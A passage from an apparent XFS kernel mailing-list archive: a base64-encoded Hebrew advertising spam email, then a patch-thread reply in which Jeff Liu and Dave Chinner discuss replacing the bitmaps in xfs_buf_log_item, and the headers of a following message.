pNeZ150g15fXk9ep15nXnSEgLiDXnNen15HXnNeqINeU15TXmNeR15Qg157XnNeQ15Ug16TX qNeY15nXm9edINei15vXqdeZ15Ug15TXldeT16LXlCDXlteVINeg16nXnNeX15Qg15DXnNeZ 15og15HXoten15HXldeqINeU16jXqdee16rXmiDXnNeQ15fXkyDXntep15nXqNeV16rXmSDX lNeQ15nXoNeY16jXoNeYINep15zXoNeVINec16fXkdec16og15TXptei15XXqizXnteR16bX oteZ150sINen15XXpNeV16DXmdedLCDXlNem16LXldeqINee15fXmdeoLCDXlNep15XXldeQ 16og157Xl9eZ16jXmdedINeV15PXkdeo15nXnSDXkdeX15nXoNedLiDXkNedINeR16jXpteV 16DXmiDXnNeU16TXodeZ16cg15XXnNen15HXnCDXnteQ15nXqteg15Ug15PXmdeV15XXqNeZ 150g15HXkNek16nXqNeV16rXmiDXnNec15fXldelINei15wg16fXmdep15XXqCDXlCLXlNeh 16jXlCIg15TXnteV16TXmdeiINeR16rXl9eq15nXqiDXlNeV15PXoteUINeW15Ug15DXlSDX nNeU16nXmdeRINeX15bXqNeUINec157XmdeZ15wg15bXlCDXotedINeU157Xmdec15QgIteU 16HXqNeUIiDXldeQ16DXlSDXoNeh15nXqCDXkNeV16rXmiDXnteZ15nXk9eZ16ogZy5ndXRt YW4gYWR2ZXJ0aXNpbmcgJiBjb21tdW5pY2F0aW9ucyANCgkJCQkJCQkNCgkJCQkJCQkNCgkJ CWhhYXJhZCAzLCB0ZWwgYXZpdiANCgkJCQkJCQ0KCQkJCQkJDQoJCQloaW5hbUBwYXJlbnRo b29kY2FsbC5jb20gYmhiaGpqICAg15TXldeT16LXlCDXlteVINeg16nXnNeX15Qg15wtIGxp bnV4LXhmc0Bvc3Muc2dpLmNvbSAg16LXnCDXmdeT15kgIGhpbmFtQHBhcmVudGhvb2RjYWxs LmNvbSAg16LXnCDXnteg16og15zXlNeh15nXqCDXkNeqINei16bXnteaINee16jXqdeZ157X qiDXlNeq16TXldem15Qg15zXl9elL9eZICDXm9eQ158gICDXoNep15zXlyDXkdeQ157Xptei 15XXqiAg15fXoNee15XXnyAg157Xk9eV15XXqNeZ150g15zXlNem15zXl9eUIA== ----boundary_1952293_cc6faad4-ca44-49a5-aec3-30af1449771b Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: base64 PEhUTUw+PEJPRFk+PGRpdiBhbGlnbj0iY2VudGVyIj48dGFibGUgYWxpZ249ImNlbnRlciIg c3R5bGU9ImRpcmVjdGlvbjpydGw7IHdpZHRoOiA3MDBweDsgdGFibGUtbGF5b3V0OiBmaXhl ZDsiPjx0cj48dGQgdmFsaWduPSJib3R0b20iIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJmb250 LWZhbWlseTpBcmlhbDtmb250LXNpemU6OC41cHQ7Ij7XkNedINeQ15nXoNeaINeo15XXkNeU INee15nXmdecINeW15Qg15DXoNeQINec15fXpS/XmSA8YSBocmVmPSJodHRwOi8vZHBvZHRv bXkuY29tL01haWwvVmlld0VNYWlsLmFzcHg/RUlEPXc1ZlNDVzhXQ1dzNFpybTBNbTBhN2cl M2QlM2QmU01JRD1FNUlNNmJmclNGUSUzZCZDSUQ9U2traVBZN3QlMmJ2Qzk3R1lLWFF4dHhv YnZuJTJmWkZJV29aJlVJRD0xejY5JTJibU54MmFCR0pOc1VnNjAyV1ElM2QlM2QiPteb15DX nzwvYT48L3RkPjwvdHI+PC90YWJsZT48YnIgLz48ZGl2IGFsaWduPSJjZW50ZXIiPjxUQUJM RSBzdHlsZT0id2lkdGg6NzAwcHg7ZGlyZWN0aW9uOnJ0bDt0YWJsZS1sYXlvdXQ6YXV0bzt0 ZXh0LWFsaWduOnJpZ2h0OyI+DQo8VFI+PFREPg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6 IGFyaWFsLCBzYW5zLXNlcmlmOyB0ZXh0LWFsaWduOiBjZW50ZXIiPjxkaXYgYWxpZ249ImNl bnRlciI+PGRpdiBhbGlnbj0iY2VudGVyIiBzdHlsZT0iZm9udC1zaXplOiBtZWRpdW07IGZv bnQtZmFtaWx5OiAndGltZXMgbmV3IHJvbWFuIj48ZGl2IHN0eWxlPSJmb250LWZhbWlseTog YXJpYWwsIHNhbnMtc2VyaWY7Ij48ZGl2IHN0eWxlPSJjb2xvcjogcmdiKDAsIDAsIDApOyBm b250LWZhbWlseTogQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsiPjxkaXYgYWxpZ249 ImNlbnRlciI+PGRpdiBhbGlnbj0iY2VudGVyIj48ZGl2IGFsaWduPSJjZW50ZXIiPjxkaXYg c3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fu cy1zZXJpZjsiPjxkaXYgc3R5bGU9ImNvbG9yOiByZ2IoMCwgMCwgMCk7Ij48ZGl2IGFsaWdu PSJjZW50ZXIiPjxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OiBBcmlhbCwgVmVyZGFuYSwgc2Fu cy1zZXJpZjsiPjxkaXYgYWxpZ249ImNlbnRlciI+PGRpdiBzdHlsZT0iY29sb3I6IHJnYigz NCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IEFyaWFsLCBWZXJkYW5hLCBzYW5zLXNlcmlmOyBm b250LXNpemU6IDEycHg7IGZvbnQtc3R5bGU6IG5vcm1hbDsgZm9udC12YXJpYW50OiBub3Jt YWw7IGZvbnQtd2VpZ2h0OiBub3JtYWw7IGxldHRlci1zcGFjaW5nOiBub3JtYWw7IGxpbmUt aGVpZ2h0OiBub3JtYWw7IG9ycGhhbnM6IGF1dG87IHRleHQtYWxpZ246IGNlbnRlcjsgdGV4 dC1pbmRlbnQ6IDBweDsgdGV4dC10cmFuc2Zvcm06IG5vbmU7IHdoaXRlLXNwYWNlOiBub3Jt YWw7IHdpZG93czogYXV0bzsgd29yZC1zcGFjaW5nOiAwcHg7IC13ZWJraXQtdGV4dC1zdHJv a2Utd2lkdGg6IDBweDsgYmFja2dyb3VuZC1jb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyI+ PGRpdiBhbGlnbj0iY2VudGVyIj48ZGl2IHN0eWxlPSJjb2xvcjogcmdiKDAsIDAsIDApOyBm b250LWZhbWlseTogQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZjsiPjxkaXYgYWxpZ249 ImNlbnRlciI+PGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2EsIHNh bnMtc2VyaWY7Ij48ZGl2IGFsaWduPSJjZW50ZXIiPjxkaXYgYWxpZ249ImNlbnRlciI+PGRp diBhbGlnbj0iY2VudGVyIiBzdHlsZT0iZm9udC1mYW1pbHk6IGFyaWFsLCB2ZXJkYW5hLCBz YW5zLXNlcmlmIj48ZGl2IGFsaWduPSJjZW50ZXIiPjxkaXYgYWxpZ249ImNlbnRlciI+PGRp diBhbGlnbj0iY2VudGVyIj48ZGl2IGFsaWduPSJjZW50ZXIiPjxkaXYgYWxpZ249ImNlbnRl ciI+PGRpdiBhbGlnbj0iY2VudGVyIj48ZGl2IGFsaWduPSJjZW50ZXIiPjxkaXYgYWxpZ249 ImNlbnRlciI+PGRpdiBhbGlnbj0iY2VudGVyIj48ZGl2IGFsaWduPSJjZW50ZXIiPjxkaXYg YWxpZ249ImNlbnRlciI+PGRpdiBhbGlnbj0iY2VudGVyIj48ZGl2IGFsaWduPSJjZW50ZXIi PjxkaXYgYWxpZ249ImNlbnRlciI+PGRpdiBhbGlnbj0iY2VudGVyIj48ZGl2IGFsaWduPSJj ZW50ZXIiPjxkaXYgYWxpZ249ImNlbnRlciI+PGRpdiBzdHlsZT0iZm9udC1zaXplOiBtZWRp dW07IGZvbnQtZmFtaWx5OiAndGltZXMgbmV3IHJvbWFuIj48ZGl2IGFsaWduPSJjZW50ZXIi PjxkaXYgYWxpZ249ImNlbnRlciI+PGRpdiBhbGlnbj0iY2VudGVyIj48ZGl2IGFsaWduPSJj ZW50ZXIiIHN0eWxlPSJmb250LWZhbWlseTogJ1RpbWVzIE5ldyBSb21hbic7Ij48ZGl2IGFs aWduPSJjZW50ZXIiPjxkaXYgYWxpZ249ImNlbnRlciI+PGRpdiBzdHlsZT0iZm9udC1mYW1p bHk6IGFyaWFsLHNhbnMtc2VyaWY7Ij48cCBzdHlsZT0iZm9udC1mYW1pbHk6ICd0aW1lcyBu ZXcgcm9tYW4nOyI+PGEgaHJlZj0iaHR0cDovL2Rwb2R0b215LmNvbS9NYWlsL0NvdW50TGlu ay5hc3B4P1NJRD0yMjAxMzExNDg3JkxJRD00MDUyMDM3NSI+PGltZyBhbHQ9IiIgaGVpZ2h0 PSIyNDUiIHNyYz0iaHR0cDovL2k0My50aW55cGljLmNvbS8yNHZwYmd3LmpwZyIgc3R5bGU9 IndpZHRoOiA1MDBweDsgaGVpZ2h0OiAyNDVweDsiIHdpZHRoPSI1MDAiIC8+PC9hPjwvcD4N CgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk8ZGl2IHN0 eWxlPSJmb250LWZhbWlseTogJ3RpbWVzIG5ldyByb21hbic7Ij48YSBocmVmPSJodHRwOi8v ZHBvZHRvbXkuY29tL01haWwvQ291bnRMaW5rLmFzcHg/U0lEPTIyMDEzMTE0ODcmTElEPTQw NTIwMzc1Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOjIycHg7Ij48c3BhbiBzdHlsZT0iY29s b3I6IHJnYigwLCAwLCAyNTUpOyI+PHN0cm9uZz48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6 IGFyaWFsLGhlbHZldGljYSxzYW5zLXNlcmlmOyI+16LXmdeq15XXnyDXodeV16TXlNep15HX ldeiIC0g157Xkdem16Ig15TXpteY16jXpNeV16og15DXmNeo16fXmNeZ15HXmSE8L3NwYW4+ PC9zdHJvbmc+PC9zcGFuPjwvc3Bhbj48L2E+PC9kaXY+DQoJCQkJCQkJCQkJCQkJCQkJCQkJ CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6ICd0 aW1lcyBuZXcgcm9tYW4nOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1 NSk7Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOiA4cHg7Ij4uPC9zcGFuPjwvc3Bhbj48L2Rp dj4NCgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk8ZGl2 IHN0eWxlPSJmb250LWZhbWlseTogJ3RpbWVzIG5ldyByb21hbic7Ij48c3BhbiBzdHlsZT0i Zm9udC1zaXplOjE4cHg7Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IGFyaWFsLGhlbHZl dGljYSxzYW5zLXNlcmlmOyI+PHN0cm9uZz7Xl9eTLCDXnteZ15XXl9eTLCDXnteo16rXpyAt ICZxdW90O9eh15XXpNeU16nXkdeV16ImcXVvdDsg15TXldeQINei15nXqteV158g15DXmdeb 15XXqteZINeR15zXqteZINeq15zXldeZLDwvc3Ryb25nPjwvc3Bhbj48L3NwYW4+PC9kaXY+ DQoJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJPGRpdiBz dHlsZT0iZm9udC1mYW1pbHk6ICd0aW1lcyBuZXcgcm9tYW4nOyI+PHNwYW4gc3R5bGU9ImZv bnQtc2l6ZToxOHB4OyI+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBhcmlhbCxoZWx2ZXRp Y2Esc2Fucy1zZXJpZjsiPjxzdHJvbmc+15TXnten15HXpSDXkNeqINee15nXmNeRINeU15vX ldeq15HXmdedINee158g15TXqdeV16jXlCDXlNeo15DXqdeV16DXlCDXkdeQ16jXpTo8L3N0 cm9uZz48L3NwYW4+PC9zcGFuPjwvZGl2Pg0KCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ CQkJCQkJCQkJCQkJCQkJCQkJCTxkaXYgc3R5bGU9ImZvbnQtZmFtaWx5OiAndGltZXMgbmV3 IHJvbWFuJzsiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MThweDsiPjxzcGFuIHN0eWxlPSJm b250LWZhbWlseTogYXJpYWwsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Ij48c3Ryb25nPteR158g 15vXodek15nXqiwg15nXlNeV15PXlCDXqdeo15XXoNeZLCDXkNeR15kg15HXoNeZ15TXlSwg 15zXmdeQ15XXqNeULCDXoNeZ16gg16fXmdek16DXmdehINeV16LXldeTINeo15HXmdedINeV 15jXldeR15nXnSE8L3N0cm9uZz48L3NwYW4+PC9zcGFuPjwvZGl2Pg0KCQkJCQkJCQkJCQkJ CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCTxkaXYgc3R5bGU9ImZvbnQtZmFt aWx5OiAndGltZXMgbmV3IHJvbWFuJzsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDI1NSwg MjU1LCAyNTUpOyI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOHB4OyI+Ljwvc3Bhbj48L3Nw YW4+PC9kaXY+DQoJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ CQkJPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6ICd0aW1lcyBuZXcgcm9tYW4nOyI+PHNwYW4g c3R5bGU9ImZvbnQtc2l6ZTogMjBweDsiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6MThweDsi PjxzcGFuIHN0eWxlPSJmb250LWZhbWlseTogYXJpYWwsaGVsdmV0aWNhLHNhbnMtc2VyaWY7 Ij48c3BhbiBzdHlsZT0iY29sb3I6IHJnYigyNTUsIDAsIDApOyI+PHN0cm9uZz7Xldei15vX qdeZ15UgLSDXl9eV15PXqSDXnteq16DXlCDXnNee16bXmNeo16TXmdedINeX15PXqdeZ150h PC9zdHJvbmc+PC9zcGFuPjwvc3Bhbj48L3NwYW4+DQoJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk8YnIgLz4NCgkJCQkJCQkJCQkJCQkJCQkJCQkJ CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCTxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDI1 NSwgMjU1LCAyNTUpOyI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZTogOHB4OyI+PHNwYW4gc3R5 bGU9ImZvbnQtZmFtaWx5OiBhcmlhbCwgaGVsdmV0aWNhLCBzYW5zLXNlcmlmOyI+Ljwvc3Bh bj48L3NwYW4+PC9zcGFuPjwvc3Bhbj48L2Rpdj4NCgkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJ CQkJCQkJCQkJCQkJCQkJCQkJCQkJCQk8ZGl2IGFsaWduPSJjZW50ZXIiIHN0eWxlPSJjb2xv cjogcmdiKDM0LCAzNCwgMzQpOyBmb250LXNpemU6IDEycHg7Ij48YSBocmVmPSJodHRwOi8v ZHBvZHRvbXkuY29tL01haWwvQ291bnRMaW5rLmFzcHg/U0lEPTIyMDEzMTE0ODcmTElEPTQw NTIwMzc1Ij48c3BhbiBzdHlsZT0iZm9udC1zaXplOjE4cHg7Ij48c3BhbiBzdHlsZT0iZm9u dC1mYW1pbHk6ICd0aW1lcyBuZXcgcm9tYW4nOyI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZ2Io MCwgMCwgMjU1KTsiPjxzdHJvbmc+PHNwYW4gc3R5bGU9ImZvbnQtZmFtaWx5OiBhcmlhbCxo ZWx2ZXRpY2Esc2Fucy1zZXJpZjsiPtec16fXkdec16og15TXlNeY15HXlCDXntec15DXlSDX pNeo15jXmdeb150g16LXm9ep15nXlTwvc3Bhbj48L3N0cm9uZz48L3NwYW4+PC9zcGFuPjwv c3Bhbj48L2E+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9k aXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9k aXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9k aXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9k aXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9kaXY+PC9k aXY+DQoJCQk8cD48YnIgLz4NCgkJCQk8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxMXB4Ij48 c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2EsIHNhbnMtc2VyaWYi PjxzcGFuIGRpcj0icnRsIiBsYW5nPSJIRSIgc3R5bGU9ImNvbG9yOiByZ2IoNTEsNTEsNTEp Ij7XlNeV15PXoteUINeW15Ug16DXqdec15fXlCDXkNec15nXmiDXkdei16fXkdeV16og15TX qNep157XqteaINec15DXl9eTINee16nXmdeo15XXqteZINeU15DXmdeg15jXqNeg15gg16nX nNeg15Ug15zXp9eR15zXqiDXlNem16LXldeqLNee15HXptei15nXnSwmbmJzcDvXp9eV16TX ldeg15nXnSwg15TXptei15XXqiDXnteX15nXqCwg15TXqdeV15XXkNeqINee15fXmdeo15nX nSDXldeT15HXqNeZ150g15HXl9eZ16DXnS48L3NwYW4+PC9zcGFuPjwvc3Bhbj4NCgkJCQk8 YnIgLz4NCgkJCQk8c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxMXB4Ij48c3BhbiBzdHlsZT0i Zm9udC1mYW1pbHk6IGFyaWFsLCBoZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxzcGFuIHN0eWxl PSJjb2xvcjogcmdiKDUxLDUxLDUxKSI+PHNwYW4gZGlyPSJydGwiIGxhbmc9IkhFIj7XkNed INeR16jXpteV16DXmiDXnNeU16TXodeZ16cg15XXnNen15HXnCDXnteQ15nXqteg15Ug15PX mdeV15XXqNeZ150g15HXkNek16nXqNeV16rXmiDXnNec15fXldelINei15wg16fXmdep15XX qCDXlCZxdW90O9eU16HXqNeUJnF1b3Q7INeU157Xldek15nXoiDXkdeq15fXqteZ16og15TX ldeT16LXlCDXlteVPC9zcGFuPg0KCQkJCQkJCTxiciAvPg0KCQkJCQkJCTxzcGFuIGRpcj0i cnRsIiBsYW5nPSJIRSI+15DXlSDXnNeU16nXmdeRINeX15bXqNeUINec157XmdeZ15wg15bX lCDXotedINeU157Xmdec15QgJnF1b3Q715TXodeo15QmcXVvdDsg15XXkNeg15Ug16DXodeZ 16gg15DXldeq15og157XmdeZ15PXmdeqPC9zcGFuPjwvc3Bhbj48L3NwYW4+PC9zcGFuPjwv cD4NCgkJCTxwIGFsaWduPSJjZW50ZXIiIHN0eWxlPSJsaW5lLWhlaWdodDogMTUuNnB0Ij48 c3BhbiBzdHlsZT0iZm9udC1zaXplOiAxMXB4Ij48c3BhbiBzdHlsZT0iZm9udC1mYW1pbHk6 IGFyaWFsLCBoZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxmb250IGNvbG9yPSIjMzMzMzMzIj5n Lmd1dG1hbiBhZHZlcnRpc2luZyAmYW1wOyBjb21tdW5pY2F0aW9uczxiciAvPg0KCQkJCQkJ CQ0KCQkJCQkJCQ0KCQkJaGFhcmFkIDMsIHRlbCBhdml2PC9mb250Pg0KCQkJCQkJPGJyIC8+ DQoJCQkJCQkNCgkJCQkJCQ0KCQkJaGluYW1AcGFyZW50aG9vZGNhbGwuY29tPC9zcGFuPjwv c3Bhbj48L3A+PC9kaXY+PC9kaXY+PC9kaXY+DQo8L1REPjwvVFI+DQo8L1RBQkxFPjwvZGl2 PjxiciAvPjx0YWJsZSBkaXI9InJ0bCIgc3R5bGU9ImZvbnQtZmFtaWx5OkFyaWFsOyBmb250 LXNpemU6IDguNXB0OyB3aWR0aDogNzAwcHg7Ij48VFI+PFREIGFsaWduPSJjZW50ZXIiPjxz cGFuIHN0eWxlPSJjb2xvcjogcmdiKDEyOCwgMTI4LCAxMjgpOyBmb250LXNpemU6IDlwdDsg Zm9udC1mYW1pbHk6IEFyaWFsOyI+YmhiaGpqPC9zcGFuPjxiciAvPjxociAvPiZuYnNwOzxi ciAvPjxzcGFuIHN0eWxlPSJjb2xvcjogYmxhY2s7IGZvbnQtc2l6ZTogOC41cHQ7IGZvbnQt ZmFtaWx5OiBBcmlhbDsiPteU15XXk9ei15Qg15bXlSDXoNep15zXl9eUINecLSBsaW51eC14 ZnNAb3NzLnNnaS5jb20gINei15wg15nXk9eZICBoaW5hbUBwYXJlbnRob29kY2FsbC5jb20g PGJyIC8+16LXnCDXnteg16og15zXlNeh15nXqCDXkNeqINei16bXnteaINee16jXqdeZ157X qiDXlNeq16TXldem15Qg15zXl9elL9eZIDxhIGhyZWY9Imh0dHA6Ly9kcG9kdG9teS5jb20v Q29udGFjdHMvUmVtb3ZlRnJvbUxpc3RzLmFzcHg/SUQ9aXF6UlRacVRJWVRtNnJOTDNtUUZI c05VYU95b01BQ1ljVkpoJTJiS0RNU0JGUE5SZnlTWEtLT0ZvUTNEeiUyYm0zeHYmVUlEPTF6 NjklMmJtTngyYUJHSk5zVWc2MDJXUSUzZCUzZCZFSUQ9dzVmU0NXOFdDV3M0WnJtME1tMGE3 ZyUzZCUzZCI+15vXkNefPC9hPjwvc3Bhbj48YnIgLz4mbmJzcDs8YnIgLz48c3BhbiBzdHls ZT0iY29sb3I6IGJsYWNrOyBmb250LXNpemU6IDguNXB0OyBmb250LWZhbWlseTogQXJpYWw7 Ij7XoNep15zXlyDXkdeQ157Xptei15XXqiA8QSBocmVmPSJodHRwOi8vZHBvZHRvbXkuY29t L01haWwvQ291bnRMaW5rLmFzcHg/U0lEPTIyMDEzMTE0ODcmTElEPTQwNTIwMzc2Ij7Xl9eg 157XldefPC9BPiDXnteT15XXldeo15nXnSDXnNeU16bXnNeX15Q8L3NwYW4+PC9URD48L1RS PjxUUj48dGQ+PGltZyBzcmM9Imh0dHA6Ly9kcG9kdG9teS5jb20vVXNlclBpY3R1cmVzLzIy MDEzMTE0ODcuZ2lmIiB3aWR0aD0iNSIgaGVpZ2h0PSIyIiBib3JkZXI9IjAiIC8+PC90ZD48 L3RyPjwvdGFibGU+PC9kaXY+PC9CT0RZPjwvSFRNTD4= ----boundary_1952293_cc6faad4-ca44-49a5-aec3-30af1449771b-- From jeff.liu@oracle.com Tue Feb 4 09:10:28 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 14B127F51 for ; Tue, 4 Feb 2014 09:10:28 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 000EE8F8052 for ; Tue, 4 Feb 2014 07:10:24 -0800 (PST) X-ASG-Debug-ID: 1391526623-04cbb00c29ea6b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id FklukXKBRD94116G (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 07:10:23 -0800 (PST) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from ucsinet22.oracle.com (ucsinet22.oracle.com [156.151.31.94]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id s14FALY9003221 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 4 Feb 2014 15:10:21 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by ucsinet22.oracle.com (8.14.5+Sun/8.14.5) with ESMTP id s14FAJfk017426 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 4 Feb 2014 15:10:20 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by userz7022.oracle.com (8.14.5+Sun/8.14.4) with ESMTP id s14FAJZB017393; Tue, 4 Feb 2014 15:10:19 GMT Received: from [192.168.1.101] (/112.238.69.9) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 04 Feb 2014 07:10:19 -0800 Message-ID: <52F102D3.9020507@oracle.com> Date: Tue, 04 Feb 2014 23:10:11 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.1.0 MIME-Version: 1.0 To: Dave Chinner CC: Mark Tinguely , Eric Sandeen , "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: improve xfs_bitmap_empty() References: <52EBAF91.10608@oracle.com> <52EBBC3D.5030507@sandeen.net> <52EBC103.5050006@oracle.com> <52EBC1AF.6020000@sandeen.net> <52EBC67B.7020806@oracle.com> <52EBCF12.1020403@sgi.com> <52EC6EA0.9000501@oracle.com> <20140202215231.GS2212@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: improve xfs_bitmap_empty() In-Reply-To: <20140202215231.GS2212@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: ucsinet22.oracle.com [156.151.31.94] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1391526623 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144827 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 02/03 2014 05:52 AM, Dave Chinner wrote: > On Sat, Feb 01, 2014 at 11:48:48AM +0800, Jeff Liu wrote: >> On 02/01 2014 00:28 AM, Mark Tinguely wrote: >>> On 01/31/14 09:51, Jeff Liu wrote: >>>> On 01/31 2014 23:30 PM, Eric Sandeen wrote: >>>>> On 1/31/14, 9:28 AM, Jeff Liu wrote: >>>>>> Well, when I looking through our bitmap source, I once thought if >>>>>> we can replace the current code with the generic bitmap library. >>>>>> However, our map is uint rather than unsigned long... >>>>> >>>>> Technically the unsigned long (pointer) is just the bitmap address, >>>>> I think. >>>> >>>> Yeah, so this might worth to try on long terms. >>> >>> The blf_data_map[] is int aligned, not long aligned. >>> You could reflect the alignment difference in the offset or >>> change the alignment in the structure. >> >> For now, I think we can not simply turn to generic bitmap just because >> of the alignment difference on 64-bits OS. > > The bitmaps end up on disk (in the log), so replacing the > implementation with a generic implementation is something we need to > be very careful about. > > IMO, we should be getting rid of the bitmaps from the > xfs_buf_log_item first (by moving to a low byte/high byte offset > range), then we only have to worry about bitmaps when doing log > recovery after a kernel upgrade on a filesystem with a dirty log. > > Getting rid of the bitmaps also solves a scalability problem with > large block sizes tracking all the changes in buffer - we burn a > huge amount of CPU walking bits when logging 64k directory buffers: > > + 21.19% [kernel] [k] xfs_dir3_leaf_check_int > + 12.20% [kernel] [k] memcpy > + 9.29% [kernel] [k] xfs_next_bit > + 5.04% [kernel] [k] xfs_buf_offset > + 3.63% [kernel] [k] xfs_buf_item_format > + 3.59% [kernel] [k] xfs_buf_item_size_segment > > The logging of xfs_buf_log_items there is consuming >30% of the CPU > being used under this workload (xfs_dir3_leaf_check_int() is high > because this is from a debug kernel.) > > IOWs, we should work to remove the bitmap code from general > operations first, then replace the remaining legacy log recovery > code with the generic bitmap implemention.... Sorry for my too late response as I was on vacations. I only moved a little progress after a quick hacking, but I can see the point in getting rid of the bitmap, just give me yet a week once I was totally return to work. Thanks, -Jeff From viro@ftp.linux.org.uk Tue Feb 4 09:17:42 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D05F27F4E for ; Tue, 4 Feb 2014 09:17:42 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8F0E88F8050 for ; Tue, 4 Feb 2014 07:17:42 -0800 (PST) X-ASG-Debug-ID: 1391527059-04cbb00c2aeb2c0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id lqwxkyd5P6AHQ45C (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 04 Feb 2014 07:17:40 -0800 (PST) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk 